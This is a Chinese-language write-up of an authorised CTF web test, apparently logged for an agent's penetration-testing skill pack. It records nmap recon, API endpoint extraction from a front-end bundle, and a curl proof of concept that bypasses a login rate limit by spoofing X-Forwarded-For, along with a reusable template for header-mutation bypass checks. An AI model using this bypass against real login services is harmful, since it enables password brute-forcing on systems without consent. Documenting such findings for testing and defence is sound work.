2.9 KiB
2.9 KiB
2026-05-26 CTF Web 网关限速绕过与信息暴露
场景分类
渗透测试
目标概述
对 {target_domain} 进行授权 CTF 渗透,验证登录防爆破与匿名接口暴露风险。
完整执行链路
- 路由到
pentest-tools,读取先例与工具索引,确认nmap可用。 - 端口探测确认多端口暴露,随后转入 Web 接口枚举。
- 从前端
index-*.js提取接口字典,批量验证匿名访问状态码。 - 发现
GET /api/status、GET /api/pricing、GET /api/setup匿名可访问并返回敏感字段。 - 对
POST /api/user/login进行速率限制测试,先触发429,再加入X-Forwarded-For伪造头验证绕过。 - 复现成功:无伪造头为
429,伪造/轮换 XFF 为200。
踩坑记录
| 问题 | 原因 | 解决方案 | 耗时 |
|---|---|---|---|
| Nmap 初次失败(eth0) | Npcap 设备映射与默认接口不一致 | 显式指定 -e eth3 或改用 -sT |
8 分钟 |
| HTTP 请求偶发超时 | 目标侧限流/网络抖动 | 缩小请求并行、加 --max-time 与重试窗口 |
6 分钟 |
| 登录返回值不稳定 | 限速状态变化掩盖真实行为 | 固定测试矩阵:无头部 vs 伪造 XFF | 5 分钟 |
工具链发现
nmap适合快速确认暴露面,但服务识别受目标策略影响较大。- 通过前端 bundle 抽取接口路径是高效方法,适合自建网关类应用。
- 对限速逻辑,优先做“同参数+变源”对照实验,可快速识别 header trust 问题。
关键代码/命令
# 匿名接口枚举(节选)
curl -k -s https://{target_domain}/api/status
curl -k -s https://{target_domain}/api/pricing
# 限速绕过 PoC
curl -k -s -o /dev/null -w "%{http_code}\n" \
-H "Content-Type: application/json" \
-X POST "https://{target_domain}/api/user/login?turnstile=" \
--data '{"username":"root","password":"12345678"}'
# => 429
curl -k -s -o /dev/null -w "%{http_code}\n" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 10.0.0.123" \
-X POST "https://{target_domain}/api/user/login?turnstile=" \
--data '{"username":"root","password":"12345678"}'
# => 200
对本包的改进建议
pentest-tools可新增“限速绕过验证模板”(XFF/X-Real-IP/Forwarded 三组对照)。- 在
templates/findings.md增加“防爆破策略有效性”检查项。
可复用的模式/脚本片段
- 模式:
429 baseline→header mutation→status diff。 - 结论阈值:同请求体下,状态从
429稳定降为200可判定疑似限速绕过。
进化动作
- 更新了路由矩阵
- 更新了 tool-index
- 更新了 bootstrap-manifest
- 更新了子 skill 文档
- 新增了 pitfalls 记录
- 无需更新
环境信息
- OS: Windows (PowerShell)
- 工具版本: Nmap 7.80, curl (系统自带)
- 目标平台/版本: New API (
X-New-Api-Version: v0.0.0)